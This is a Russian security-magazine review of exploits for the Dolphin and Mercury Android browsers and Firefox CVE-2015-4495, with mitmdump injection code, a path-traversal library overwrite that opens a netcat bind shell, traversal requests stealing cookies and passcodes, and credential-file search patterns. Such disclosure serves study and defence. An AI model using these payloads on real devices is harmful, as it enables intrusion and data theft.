Содержание статьи
Наш сегодняшний обзор будет посвящен уязвимостям в различных браузерах. Начнем с анализа ошибок, которые исследователь rotlogix нашел в популярных браузерах для Android. Закончим уязвимостью нулевого дня в Mozilla Firefox, которую использовали для атаки через рекламные блоки на новостных сайтах. Хоть она и была оперативно устранена, но оставила небольшой осадок.
Удаленное выполнение кода в Dolphin Browser для Android
CVSSv2
N/A
BRIEF
Дата релиза: 22 августа 2015 года
Автор: rotlogix
CVE: N/A
Dolphin — популярный браузер для Android, количество установок которого находится в диапазоне от 50 до 100 миллионов. Уязвимость в нем — это не шутки.
Атакующий, у которого есть возможность контролировать трафик пользователя этого браузера, может изменить процесс загрузки и установки новых тем оформления для браузера. В ходе такого изменения можно записать любой файл в систему, что позволяет выполнить произвольный код в контексте уязвимого приложения. Для начала разберем подробно этот процесс.
Загрузка выбранной темы оформления происходит по протоколу HTTP:
GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp
Она сохраняется в стандартной папке Download внешней карты:
root@hammerhead:/sdcard/Download # ls
Red_roof.dwp
Пусть тебя не смущает расширение dwp, это просто особенность браузера Dolphin. На самом деле это обычный ZIP.
$ file Red_roof.dwp
Red_roof.dwp: Zip archive data, at least v2.0 to extract
Изучив содержимое, ты можешь увидеть данные, которые используются для установки новой темы.
unzip -l Red_roof.dwp.orig
Archive: Red_roof.dwp.orig
Length Date Time Name
-------- ---- ---- ----
18165 12-18-14 09:57 icon.jpg
237 12-19-14 14:35 theme.config
131384 12-18-14 09:54 wallpaper.jpg
-------- -------
149786 3 files
После реверсинга активности (Activity) приложения автор нашел обработчик, который распаковывал скачанную тему и устанавливал соответствующую конфигурацию.
EXPLOIT
Первым шагом эксплуатации станет проксирование трафика и инъекция модифицированной темы. Для этого была выбрана программа mitmdump и небольшой скрипт:
def request(context, flow):
if not flow.request.host == "opsen-static.dolphin-browser.com" \
or not flow.request.path.endswith(".dwp"):
return
# Создание ответа на запрос загрузки темы
response = http.HTTPResponse([1, 1], 200, "OK",
odict.ODictCaseless([["Content-Type", "application/zip"]]),
"yo!")
# Инъекция темы
try:
with open("Red_roof.dwp", "r") as f:
modified = f.read()
response.content = modified
response.headers["Content-Length"] = [len(modified)]
f.close()
except IOError as e:
raise e
# Возврат ответа
flow.reply(response)
Xakep #200. Тайная жизнь Windows 10
Также нам требуется что-то для эксплуатации процесса распаковки. Соответствующая технология подробно расписана исследователями из компании NowSecure.
Для ее использования нужна возможность записи произвольных файлов и файл, который можно переписать. После небольшого анализа содержимого автор нашел кандидата. Это библиотека ibdolphin.so
.
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd files/
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # ls
AppEventsLogger.persistedevents
EN
icons_cache
libdolphin.so
name_service
splash.on
В качестве проверки был создан специальный архив:
unzip -l Red_roof.dwp
Archive: Red_roof.dwp
Length Date Time Name
-------- ---- ---- ----
18165 12-18-14 09:57 icon.jpg
237 12-19-14 14:35 theme.config
131384 12-18-14 09:54 wallpaper.jpg
7 08-21-15 20:26 ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so
-------- -------
159142 4 files
После успешного MITM-перехвата с нужной инъекцией и перемотки вывода отладочной информации с устройства в Logcat было найдено то, что нужно.
D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e0c318
E/dalvikvm( 2573): dlopen("/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so") failed: dlopen failed: "/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so" is too small to be an ELF executable
....
...
.
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # cat libdolphin.so
foobar
Теперь нам надо создать свою библиотеку:
int JNI_OnLoad( JavaVM* vm, void* reserved )
{
system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
....
..
.
}
Для компилирования воспользуемся Android NDK и добавим ее в наш скрипт-перехватчик.
Протестируем снова. После установки новой темы и рестарта браузера в логах видим, что наша библиотека была успешно загружена:
D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8
Теперь можем подсоединиться к атакованному устройству, используя стандартный netcat:
> nc 10.174.90.159 6666
id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0
ls
acct
cache
charger
config
d
data
default.prop
...
ueventd.rc
vendor
Исходники эксплоита можно скачать с гитхаба автора.
TARGETS
Dolphin Browser (версия на 27.07.2015 была уязвима).
SOLUTION
Разработчики уведомлены о проблеме.
Уязвимости в браузере Mercury для Android
CVSSv2
N/A
BRIEF
Дата релиза: 23 августа 2015 года
Автор: rotlogix
CVE: N/A
Mercury Browser тоже довольно популярен, хоть и меньше, чем Dolphin (у него от полумиллиона до миллиона установок).
Первое, что автор проверил при реверсинге браузеров для Android, — это безопасность обработчика Intent для схем URI. В этом ему помог софт Lobotomy. Он загрузил анализируемое приложение в него и воспользовался модулем bowser.
(lobotomy) loader /Users/benjaminwatson/Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
[2015-08-23 16:11:49.179402] Loading : /Users/benjaminwatson/Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
(lobotomy) bowser enum
[2015-08-23 16:12:11.632313] Searching for parseUri()
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x31c) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;
Модуль bowser нашел несколько мест, где была вызвана функция parseUri()
, то есть где Intent URI-схема конвертируется в объект Intent.
После небольшого анализа автор обнаружил, что в браузере имеется небезопасный код.
if (paramString.startsWith("intent://")) {
try
{
paramWebView = Intent.parseUri(paramString, 1);
paramString = paramWebView.getDataString();
if ((paramString != null) && (paramString.startsWith("com.amazon.mobile.shopping://amazon.com")))
{
paramWebView.setData(Uri.parse("market://details?id=" + paramWebView.getPackage()));
paramWebView.setPackage(null);
}
this.a.startActivity(paramWebView);
return true;
}
catch (Exception paramWebView)
{
paramWebView.printStackTrace();
return true;
}
В Lobotomy имеются и веб-сервисы, основанные на Flask, которые можно использовать для вызова этого кода.
@src.route('/services/intent')
def intent_service():
"""
Вызов обработки intent:// URI-схемы
"""
response = """
<html>
<head>
<meta charset="utf-8" />
<title>Trigger parseUri()</title>
</head>
<body>
<script>
location.href="intent:#Intent;action=android.intent.action.VIEW;end";
</script>
</body>
</html>
"""
Небезопасная реализация обработчика Intent позволяет атакующему запускать private Activities (это такие активности, которые недоступны извне), используя специально созданную страницу. Далее автор загрузил Mercury Browser в Lobotomy и запустил встроенные модули для поиска доступных компонентов.
...
..
.
[2015-08-23 13:07:39.810710] Activity : com.ilegendsoft.mercury.ui.activities.PasscodeActivity
[2015-08-23 13:07:39.810722] Activity : com.ilegendsoft.mercury.ui.activities.bookmark.BookmarksImportFilesActivity
[2015-08-23 13:07:39.810732] Activity : com.ilegendsoft.mercury.ui.activities.FlipTabsActivity
[2015-08-23 13:07:39.810741] Activity : com.ilegendsoft.mercury.ui.activities.SplashActivity
[2015-08-23 13:07:39.810750] Activity : com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2
[2015-08-23 13:07:39.810759] Activity : com.ilegendsoft.mercury.external.zxing.CaptureActivity
[2015-08-23 13:07:39.810767] Activity : com.dropbox.client2.android.AuthActivity
[2015-08-23 13:07:39.810830] Activity : com.ilegendsoft.mercury.ui.activities.zcloud.PushUrlActivity
[2015-08-23 13:07:39.810864] Activity : com.ilegendsoft.mercury.ui.activities.filemanager.FileManagerActivity
[2015-08-23 13:07:39.810877] Activity : com.ilegendsoft.mercury.ui.activities.filemanager.SubFolderActivity
...
..
.
После нескольких проб и ошибок было найдено то, что нужно, — активность com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2
, которая является private Actitivity внутри браузера Mercury. После дальнейшего реверсинга оказалось, что у нее есть особенность, которая позволяет делать резервную копию и восстанавливать что-то сохраненное на SD-карте браузером или другим приложением. Это стало возможно из-за того, что данная Activity вызывается Broadcast Receiver и зарегистрирована как обработчик для действия org.join.action.SERV_AVAILABLE
. Углубившись еще дальше, автор заметил, что создаваемый сервис называется WebService
и явно привязан к локальному устройству. Внутри WebService
находится метод onBind()
, который, в свою очередь, вызывает openWebServer()
:
public IBinder onBind(Intent paramIntent)
{
openWebServer();
return this.mBinder;
}
private void openWebServer()
{
if (this.webServer != null)
{
this.webServer.setDaemon(true);
this.webServer.start();
}
}
Здесь автор понял, что созданный веб-сервер предназначен для обработки данных на SD-карте браузером и доступен другим устройствам в локальной сети.
((HttpRequestHandlerRegistry)localObject3).register("/dodownload", new HttpDownHandler(this.webRoot));
((HttpRequestHandlerRegistry)localObject3).register("/dodelete", new HttpDelHandler(this.webRoot));
((HttpRequestHandlerRegistry)localObject3).register("/doupload", new HttpUpHandler(this.webRoot));
((HttpRequestHandlerRegistry)localObject3).register("/doprogress", new HttpProgressHandler());
WebServer
регистрирует специфичные URI-пути для скачивания, удаления и загрузки файлов. У него есть еще одна особенность — он всегда биндится на один и тот же порт, поэтому автор настроил проксирование трафика и начал проверять перечисленные функции сервера.
EXPLOIT
После всех проверок исследователь нашел уязвимость типа раскрытия путей и смог читать различные данные внутри директории Mercury.
/dodownload?fname=../../../../data/data/com.ilegendsoft.mercury/shared_prefs/passcode.xml
Атакующий может не только скачать файлы с устройства, но и переписать их.
POST /doupload?dir=../../../../data/data/com.ilegendsoft.mercury/shared_prefs/&id=c2f18b1f-8d77-4a73-98f8-2cb1461f70c4 HTTP/1.1
Host: 10.174.90.159:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
...
Content-Disposition: form-data; name="Download/"; filename="test.txt"
Content-Type: text/plain
test
-----------------------------20198766556454488091118231866--
root@hammerhead:/data/data/com.ilegendsoft.mercury/shared_prefs # ls
LASConfig.xml
...
test.txt
zcloud_db.xml
В итоге для эксплуатации нам потребуется:
- создать специальную HTML-страницу для вызова WiFi Manager Activity с Intent URI схемой;
- узнать IP-адрес устройства;
- опрашивая устройство, дождаться получения уведомления о вызове Activity;
- проэксплуатировать уязвимость раскрытия путей.
Для начала создадим специальную веб-страницу.
<html>
<head><meta charset="utf-8" /></head>
<body>
<script>
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
</script>
</body>
</html>
[~/Tools/mobile/android/lobotomy]> python web/run.py runserver -h 0.0.0.0
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
Mozilla/5.0 (Linux; Android 4.4.3; Nexus 5 Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
10.174.90.159 - - [23/Aug/2015 16:37:13] "GET /exploits/mercury/wfm/intent HTTP/1.1" 200 -
Опрашиваем веб-сервер до получения положительного ответа и пытаемся прочесть файл с паролями.
[~/Tools/mobile/android/lobotomy/framework/brains/exploits/browser/mercury]> python exploit.py
[2015-08-23 16:40:32.074803] Polling ...
[2015-08-23 16:40:34.095055] Polling ...
[2015-08-23 16:40:36.104810] Polling ...
[2015-08-23 16:40:38.114483] Polling ...
[2015-08-23 16:40:38.120936] Exploit engaged! Target IP : 10.174.90.159
[2015-08-23 16:40:38.120983] Exfilling /databases/mercury_database.db
[2015-08-23 16:40:38.278997] Exfilling /app_webview/Cookies
[2015-08-23 16:40:38.293556] Exfilling /shared_prefs/passcode.xml
...
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="passcode">1234</string>
</map>
О других уязвимостях, найденных исследователем, ты можешь прочитать в его блоге.
TARGETS
Mercury Browser (версия за 17.08.2015 была уязвима).
SOLUTION
На момент написания обзора о патче не было известно, и автор эксплоита рекомендует удалить этот браузер :).
0day-уязвимость в PDF.js браузера Mozilla Firefox
CVSSv2
N/A
BRIEF
Дата релиза: 6 августа 2015 года
Автор: неизвестен, vincd
CVE: 2015-4495
Закончим наш обзор уязвимостью в популярном и, наверное, любимом многими читателями браузере Mozilla Firefox. Данная уязвимость была найдена не простыми исследователями и использовалась во вредоносной программе для кражи различной конфиденциальной информации с компьютера пользователя. Причем работает малварь как в Windows, так и в Linux, и OS X, о чем написано в блоге разработчиков. 5 августа 2015 года об атаке сообщили читатели одного из российских новостных сайтов. Она проводилась с использованием различных рекламных блоков.
Суть уязвимости заключается в том, что атакующий может обойти ограничения безопасности кода на JavaScript (same origin policy) и получить доступ к браузерному просмотрщику PDF PDF.js
. Благодаря этому появляется возможность читать содержимое различных локальных файлов пользователя и отправлять его на указанные серверы. К примеру, на компьютере с Windows после успешной эксплуатации осуществлялся поиск файлов конфигурации, которые могли бы содержать пароли и другую интересную информацию.
Разработчики из Mozilla сообщили о выявлении критической уязвимости (CVE-2015-4495) и выпустили обновления Firefox 39.0.3 и 38.1.1 ESR.
EXPLOIT
Для эксплуатации создадим специальную HTML-страницу, которая запустит атакующий JavaScript.
<!DOCTYPE html>
<html>
<head>
<title>CVE-2015-4495</title>
</head>
<body>
<h1>Test</h1>
<script type="text/javascript" src="./exploit.js" charset="utf-8"></script>
</body>
</html>
Суть кода проста: использование нескольких iframe
и открытие файлов как PDF. Полный исходник ты можешь найти на Github.
Если тебе интересно, то можешь изучить оригинал вредоносного эксплоита, который опубликован в Pastebin разработчиков Ubuntu. В нем есть интересные регулярные выражения для поиска полезных файлов. Вот часть из них:
..."*сервер*.txt","*акк*.txt","*эккаунт*.txt","*впн*.txt","*впс*.txt","*вдс*.txt","*логин*.txt"...
TARGETS
Firefox < 39.0.3;
Firefox < 38.1.1 ESR.
SOLUTION
Исправлено в новых версиях.